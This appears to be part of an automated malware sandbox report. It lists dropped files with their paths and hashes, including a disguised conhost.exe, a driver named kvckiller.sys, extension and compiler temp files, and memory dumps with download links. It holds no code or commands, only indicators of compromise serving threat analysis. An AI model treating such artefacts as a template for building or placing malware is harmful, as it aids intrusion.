SHA256 d53db30ca4abf4752d0744a0b034830ceb54cb27b221ea5ba1a20fcd1d91e5a4
MD5 69244166892a9986d624bb3acee36acd
SHA1 cb7d3eab65f6899fcbb82f3c4c7c03785e8cee31
SHA512 e86fd16b658c22d767c55f13634944235a15ce31080a9ece2183c568e7500db11a546695caa8977fb9c5a451356145f1f7e6a94edadf0f61e21d6f9d23c2ef5c
SSDEEP 48:6skbi7jYrbpc8aT9k54aWZQwoW1JSdZ7BUjT01ulsa3gq:RT7wbx89w4aWW9Wv3qK
TLSH
T18F91950797E406AAE037077439B3031AE3B0F4A45B2BDB6B06D4223D6C763512E72BE0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir4768_1511721032\CRX_INSTALL\_locales\en\messages.json
Size 450B
SHA256 c0945dd5fdecab40c45361bec068d1996e6ae01196dce524266d740808f753fe
MD5 dbedf86fa9afb3a23dbb126674f166d2
SHA1 5628affbcf6f897b9d7fd9c17deb9aa75036f1cc
SHA512 931d7ba6da84d4bb073815540f35126f2f035a71bfe460f3ccaed25ad7c1b1792ab36cd7207b99fddf5eaf8872250b54a8958cf5827608f0640e8aafe11e0071
TLSH
T1D3F055CB9000FC5E538BC00EB10072282BA603E01AD1726724EC1C0E67DFDAEB143F9A
MD5 SHA1 SHA512 TLSH

Submit Download

conhost.exe

Path C:\Users\Admin\AppData\Local\conhost\conhost.exe
Size 14.1MB
SHA256 c70a4de0dfaa58278d48b476a620e848ee47185b5b9617acda9ace629da039b5
MD5 ca6011629af1376881de0b0bb197d95f
SHA1 247c49b671ede6d76b2b03f8148bdf7a96461623
SHA512 a632d9e43034f7ed4f29292ad19ff1eb2c49ad381c6d693aa697185931c30dff8694c00160740a94b21279d0b1ab574a5c8b34a10d21228dae999b9202085285
SSDEEP 98304:UioQ1JqiT/PtcfJwBfNakKFTFB6fXjvZ2VQK1OxBsDQ6FE:Uir1TPtGJwBlaTT6PjZ2uKiR62
TLSH
T163E64A07E96581E8C4AAD134C6369213BB717C495B3423E33B90F7642F7ABD4AEB9344
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kvckiller.sys

Path C:\Windows\System32\drivers\kvckiller.sys
Size 37KB
SHA256 ff5dbdcf6d7ae5d97b6f3ef412df0b977ba4a844c45b30ca78c0eeb2653d69a8
MD5 2f4b5a0d98bc4e5616f2dd04337ae674
SHA1 f8a3f28ecbd0b08ecab73ef571f16c3d0bd5e009
SHA512 d46c14789e7cd5540ed6442d3362e8e09bb32250b570aab44b228c54dd8748048111adb0adc89eec860d1c5c6357946a9671c072e92ccb84699de963cc8d7845
SSDEEP 384:fWT7WKllIBt9dS6Bn/amID5aUAtAcwHbftAVBMIYioQrHvPxh8E9VF0NyQEvxXhD:L6OQlKVrYioQjPxWEauXhIf3Wx9zpQ5
TLSH
T10B03AD9346642495DE6AAA3096D1DD17FD78B6821B61C2EB0329C2481F633C1F7393BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSCC782876C3C43426F8FBEACFB4D86FAB.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\mvdgw4fi\CSCC782876C3C43426F8FBEACFB4D86FAB.TMP
Size 652B
SHA256 2642df2593be4e9d04d0296aca96c3c3ab2fe4f69542c799b6bc3d8d24b14f38
MD5 03536a31e686206390b48c394f24ba71
SHA1 1c4fc3ea30e92de1b565e9d49f6d6d9adfde9b60
SHA512 bc078ba2932f3caf93dcf24a52c4f2d1fe695241bf9568bb6066a39c465a2f4a9b146b824202fc4c912ff65d09f878e241158aaba3c15070c0a28523b60d2faf
TLSH
T19DF05E0963F8020EF4F34B30BEF6936391A8FC64DE7293ED544103192C64A109A62FB2
MD5 SHA1 SHA512 TLSH

Submit Download

mvdgw4fi.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\mvdgw4fi\mvdgw4fi.0.cs
Size 1KB
SHA256 4eddc18597eccb18b4980ebb9508937b08d7ce6ffc56e104457a8ad63b3f9b50
MD5 867c27908c97772e8169ef3d34ae50bc
SHA1 7caa5902a46d85a02e84d0d8c5985191993b7580
SHA512 28eee1b32bb0e22e94ca4a7d59f68564bbb7e9c5be548cf33649cfdb17219d6498a065a6f7c4c5fd2cac159a29ac64ec4c6520040f1ca97a988869e22499cf16
TLSH
T115419A606722AE716873440D5DCBA4AEF10B613336FF6A0476AC17618F6F065E072BDE
MD5 SHA1 SHA512 TLSH

Submit Download

mvdgw4fi.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\mvdgw4fi\mvdgw4fi.cmdline
Size 369B
SHA256 7ffcc599f682fdfc4cf2a4b80fcfdcf87aadc17a230149096d826b255e043a1c
MD5 d9a15197b7c01532b5cc8f0a96cf9a82
SHA1 7790b818d33809b217b49859066b01aa0c36d458
SHA512 8ac0fe16e6fb7fc35b6b4a239eba30ff0d2129755df8781aedaccd1e09a1ba7bb90bc553e29535bba5bd3f19cd9c3e199a15e9a5e3983c77f9989d4e832e5c62
TLSH
T1AEE0262A5257C67D15ED140B23FAC5ACE27207872991BFC495508C9DE12F0887BD2FA6
MD5 SHA1 SHA512 TLSH

Submit Download

kk.cab

Path \??\c:\users\admin\appdata\local\temp\kk.cab
Size 22KB
SHA256 a938b05e7a838758af0a08a87bae69e43a28a7d2132f7431c4fa878d4dd6f2ec
MD5 c64628a0d99e3e6ad8aad532310e8cab
SHA1 dc0386107f9b30d97368b4335e22be6a2a003a89
SHA512 f4531d82ccd38eabb2b7f5041da1ddc5882cb4b2727d760dee57a423699edfa96903a76985bdc22cf743b6b841e6f4da88e3bc83d1ac28b110e11e98cdb415fc
SSDEEP 384:h5aIUONpIlBhmScyxgFY/rsGTtqysfJ7Jn2snMLkwbCwarOkffDbINeTzUtl9TfO:hr3IlD2FwftqxJBKzkDDbINePUNTIho+
TLSH
T13EA2E00CC3DB7898EE062456454FEF0D6C5F0670EEF29994C26488A5B9F504C7BD2925
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2532-31-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/2532-11-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/2532-16-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/2532-33-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/2532-28-0x0000022454D00000-0x0000022454D08000-memory.dmp

Download

memory/2532-14-0x0000022454DA0000-0x0000022454DDE000-memory.dmp

Download

memory/2532-13-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/2532-43-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/2532-12-0x0000022454D30000-0x0000022454D5E000-memory.dmp

Download

memory/2532-34-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/2532-10-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/2532-30-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/2532-8-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/2532-7-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/2532-6-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/2532-29-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/2532-1-0x00007FFD4F30F000-0x00007FFD4F310000-memory.dmp

Download

memory/2532-3-0x0000022454C60000-0x0000022454C82000-memory.dmp

Download

memory/2532-2-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download